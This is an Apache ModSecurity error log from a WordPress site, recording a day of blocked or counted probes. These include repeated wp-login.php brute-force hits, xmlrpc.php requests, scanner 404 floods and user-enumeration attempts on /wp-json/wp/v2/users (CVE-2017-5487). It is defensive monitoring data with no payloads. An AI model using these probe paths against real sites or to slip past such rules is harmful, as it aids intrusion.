[Wed Nov 19 07:27:36.532840 2025] [:error] [pid 6555:tid 6608] [client 94.136.184.162:60216] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0A6EbVJm8eMsGMTCOMggAAAFE"]
[Wed Nov 19 07:27:41.294836 2025] [:error] [pid 6555:tid 6600] [client 94.136.184.162:60216] [client 94.136.184.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.136.184.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0A7UbVJm8eMsGMTCOMjQAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:30:38.202626 2025] [:error] [pid 6555:tid 6611] [client 18.191.165.250:56391] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR0BnkbVJm8eMsGMTCONoQAAAFQ"]
[Wed Nov 19 07:30:38.599151 2025] [:error] [pid 26664:tid 26690] [client 18.191.165.250:56474] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR0BnopWc1yoj2P7MeARzgAAAVY"]
[Wed Nov 19 07:30:38.988810 2025] [:error] [pid 6644:tid 6659] [client 18.191.165.250:56604] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR0Bnk0i6Rf788MB6sbZvAAAAM0"]
[Wed Nov 19 07:30:39.384624 2025] [:error] [pid 6919:tid 6933] [client 18.191.165.250:56727] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR0Bn0YFdN1s_9xJVUmrIQAAAQs"]
[Wed Nov 19 07:30:39.865315 2025] [:error] [pid 26664:tid 26690] [client 18.191.165.250:56809] [client 18.191.165.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR0Bn4pWc1yoj2P7MeAR7wAAAVY"]
[Wed Nov 19 07:45:31.967066 2025] [:error] [pid 6556:tid 6638] [client 184.168.123.167:50162] [client 184.168.123.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.123.167, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0FG5uL7hhgrmdM1mt-7AAAAJQ"]
[Wed Nov 19 07:45:35.523840 2025] [:error] [pid 6556:tid 6628] [client 184.168.123.167:50162] [client 184.168.123.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.123.167, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0FH5uL7hhgrmdM1mt-7QAAAIo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:49:12.110861 2025] [:error] [pid 6556:tid 6629] [client 68.65.123.38:54702] [client 68.65.123.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0F-JuL7hhgrmdM1mt_xwAAAIs"]
[Wed Nov 19 07:49:13.596809 2025] [:error] [pid 6556:tid 6642] [client 68.65.123.38:54702] [client 68.65.123.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.123.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0F-ZuL7hhgrmdM1mt_yAAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 07:49:17.669622 2025] [:error] [pid 6554:tid 6562] [client 184.94.213.100:50846] [client 184.94.213.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.94.213.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0F_d8rvPWLafJFqmVarQAAAAM"]
[Wed Nov 19 07:49:18.839055 2025] [:error] [pid 6554:tid 6578] [client 184.94.213.100:50846] [client 184.94.213.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.94.213.100, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0F_t8rvPWLafJFqmVasgAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:18:34.789055 2025] [:error] [pid 6555:tid 6595] [client 162.0.232.226:33312] [client 162.0.232.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0M2kbVJm8eMsGMTCOZIAAAAEQ"]
[Wed Nov 19 08:18:36.015254 2025] [:error] [pid 6555:tid 6614] [client 162.0.232.226:33312] [client 162.0.232.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.226, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0M3EbVJm8eMsGMTCOZJgAAAFc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:18:40.168713 2025] [:error] [pid 6919:tid 6928] [client 192.64.117.193:41070] [client 192.64.117.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0M4EYFdN1s_9xJVUm7SAAAAQY"]
[Wed Nov 19 08:18:41.360016 2025] [:error] [pid 6919:tid 6939] [client 192.64.117.193:41070] [client 192.64.117.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.193, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0M4UYFdN1s_9xJVUm7SQAAARE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:19:55.285377 2025] [:error] [pid 6919:tid 6943] [client 192.64.117.123:59128] [client 192.64.117.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NK0YFdN1s_9xJVUm76QAAARU"]
[Wed Nov 19 08:19:57.162034 2025] [:error] [pid 6919:tid 6929] [client 192.64.117.123:59128] [client 192.64.117.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.64.117.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NLUYFdN1s_9xJVUm77gAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:20:20.133977 2025] [:error] [pid 6555:tid 6611] [client 67.223.118.166:45554] [client 67.223.118.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NREbVJm8eMsGMTCOZuwAAAFQ"]
[Wed Nov 19 08:20:21.465429 2025] [:error] [pid 6555:tid 6601] [client 67.223.118.166:45554] [client 67.223.118.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NRUbVJm8eMsGMTCOZvAAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:20:25.335675 2025] [:error] [pid 6556:tid 6634] [client 67.223.118.166:45564] [client 67.223.118.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NSZuL7hhgrmdM1muHagAAAJA"]
[Wed Nov 19 08:20:26.582067 2025] [:error] [pid 6556:tid 6630] [client 67.223.118.166:45564] [client 67.223.118.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.223.118.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NSpuL7hhgrmdM1muHawAAAIw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:20:39.779037 2025] [:error] [pid 6556:tid 6625] [client 199.188.200.24:48204] [client 199.188.200.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NV5uL7hhgrmdM1muHgAAAAIc"]
[Wed Nov 19 08:20:41.115880 2025] [:error] [pid 6556:tid 6631] [client 199.188.200.24:48204] [client 199.188.200.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.24, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0NWZuL7hhgrmdM1muHhQAAAI0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 08:28:39.126008 2025] [:error] [pid 6644:tid 6656] [client 199.188.200.45:56840] [client 199.188.200.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.45, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0PN00i6Rf788MB6sbrFQAAAMo"]
[Wed Nov 19 08:28:40.311828 2025] [:error] [pid 6644:tid 6651] [client 199.188.200.45:56840] [client 199.188.200.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.200.45, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR0POE0i6Rf788MB6sbrFwAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 10:24:26.609849 2025] [:error] [pid 26664:tid 26684] [client 106.219.120.182:28297] [client 106.219.120.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR0qWopWc1yoj2P7MeBgWAAAAVA"]
[Wed Nov 19 10:27:54.843328 2025] [:error] [pid 6554:tid 6572] [client 106.219.120.182:18276] [client 106.219.120.182] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aR0rKt8rvPWLafJFqmWFHwAAAAw"]
[Wed Nov 19 10:29:00.679905 2025] [:error] [pid 26664:tid 26688] [client 106.219.120.182:27652] [client 106.219.120.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.120.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR0rbIpWc1yoj2P7MeBijAAAAVQ"]
[Wed Nov 19 15:23:05.109877 2025] [:error] [pid 6555:tid 6615] [client 115.69.241.218:63506] [client 115.69.241.218] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aR1wWUbVJm8eMsGMTCMHvAAAAFg"]
[Wed Nov 19 15:24:48.968890 2025] [:error] [pid 12673:tid 12713] [client 115.69.241.218:63033] [client 115.69.241.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.69.241.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR1wwMab1F0fb062dH0q9QAAAgk"]
[Wed Nov 19 15:26:32.449877 2025] [:error] [pid 12673:tid 12709] [client 115.69.241.218:63685] [client 115.69.241.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.69.241.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR1xKMab1F0fb062dH0rMAAAAgU"]
[Wed Nov 19 15:28:08.453949 2025] [:error] [pid 12643:tid 12661] [client 115.69.241.218:65404] [client 115.69.241.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.69.241.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR1xiMaLCNSdLHNAGt7EYwAAAY8"]
[Wed Nov 19 18:37:04.332143 2025] [:error] [pid 6554:tid 6563] [client 34.169.118.117:52805] [client 34.169.118.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR2d0N8rvPWLafJFqmXn9gAAAAQ"]
[Wed Nov 19 18:37:04.657540 2025] [:error] [pid 12643:tid 12650] [client 34.169.118.117:53509] [client 34.169.118.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR2d0MaLCNSdLHNAGt7hdgAAAYQ"]
[Wed Nov 19 18:37:04.961474 2025] [:error] [pid 12673:tid 12706] [client 34.169.118.117:54218] [client 34.169.118.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aR2d0Mab1F0fb062dH1SjAAAAgI"]
[Wed Nov 19 18:45:57.048732 2025] [:error] [pid 6919:tid 6934] [client 159.223.163.43:60770] [client 159.223.163.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.163.43, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR2f5UYFdN1s_9xJVUlrggAAAQw"]
[Wed Nov 19 18:46:00.441002 2025] [:error] [pid 6919:tid 6929] [client 159.223.163.43:60770] [client 159.223.163.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.163.43, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR2f6EYFdN1s_9xJVUlrhgAAAQc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 19:18:47.763378 2025] [:error] [pid 12673:tid 12711] [client 103.90.233.71:54366] [client 103.90.233.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.233.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR2nl8ab1F0fb062dH1d2AAAAgc"]
[Wed Nov 19 19:19:25.469363 2025] [:error] [pid 26664:tid 26680] [client 103.90.233.71:48962] [client 103.90.233.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.233.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR2nvYpWc1yoj2P7MeD3uQAAAU0"]
[Wed Nov 19 20:14:54.770539 2025] [:error] [pid 6644:tid 6652] [client 138.68.132.43:38258] [client 138.68.132.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.132.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR20vk0i6Rf788MB6sbLEQAAAMY"]
[Wed Nov 19 20:35:57.843471 2025] [:error] [pid 6644:tid 6664] [client 104.196.176.201:58189] [client 104.196.176.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/media/system/js/core.js"] [unique_id "aR25rU0i6Rf788MB6sbREgAAANI"]
[Wed Nov 19 23:06:52.812749 2025] [:error] [pid 6556:tid 6630] [client 68.65.122.219:48012] [client 68.65.122.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.122.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3dDJuL7hhgrmdM1ms6twAAAIw"]
[Wed Nov 19 23:06:54.029370 2025] [:error] [pid 6556:tid 6635] [client 68.65.122.219:48012] [client 68.65.122.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.65.122.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3dDpuL7hhgrmdM1ms6uQAAAJE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:07:18.488390 2025] [:error] [pid 6644:tid 6666] [client 162.0.232.233:43056] [client 162.0.232.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.233, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3dJk0i6Rf788MB6sb5lAAAANQ"]
[Wed Nov 19 23:07:19.722380 2025] [:error] [pid 6644:tid 6651] [client 162.0.232.233:43056] [client 162.0.232.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.232.233, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3dJ00i6Rf788MB6sb5lQAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:11:11.675993 2025] [:error] [pid 6555:tid 6598] [client 66.29.146.160:47142] [client 66.29.146.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.160, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3eD0bVJm8eMsGMTCNJIAAAAEc"]
[Wed Nov 19 23:11:13.346687 2025] [:error] [pid 6555:tid 6592] [client 66.29.146.160:47142] [client 66.29.146.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.29.146.160, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3eEUbVJm8eMsGMTCNJIQAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:12:59.508498 2025] [:error] [pid 6556:tid 6637] [client 199.188.205.3:43562] [client 199.188.205.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.205.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3ee5uL7hhgrmdM1ms74QAAAJM"]
[Wed Nov 19 23:13:00.763270 2025] [:error] [pid 6556:tid 6634] [client 199.188.205.3:43562] [client 199.188.205.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 199.188.205.3, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3efJuL7hhgrmdM1ms74gAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:13:34.925482 2025] [:error] [pid 6555:tid 6613] [client 95.216.145.26:46278] [client 95.216.145.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.145.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3enkbVJm8eMsGMTCNJaQAAAFY"]
[Wed Nov 19 23:13:38.320560 2025] [:error] [pid 6555:tid 6598] [client 95.216.145.26:46278] [client 95.216.145.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.145.26, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3eokbVJm8eMsGMTCNJbAAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:21:23.884089 2025] [:error] [pid 6644:tid 6652] [client 198.54.120.16:44958] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gc00i6Rf788MB6sb-hwAAAMY"]
[Wed Nov 19 23:21:25.597468 2025] [:error] [pid 6644:tid 6648] [client 198.54.120.16:44958] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gdU0i6Rf788MB6sb-igAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
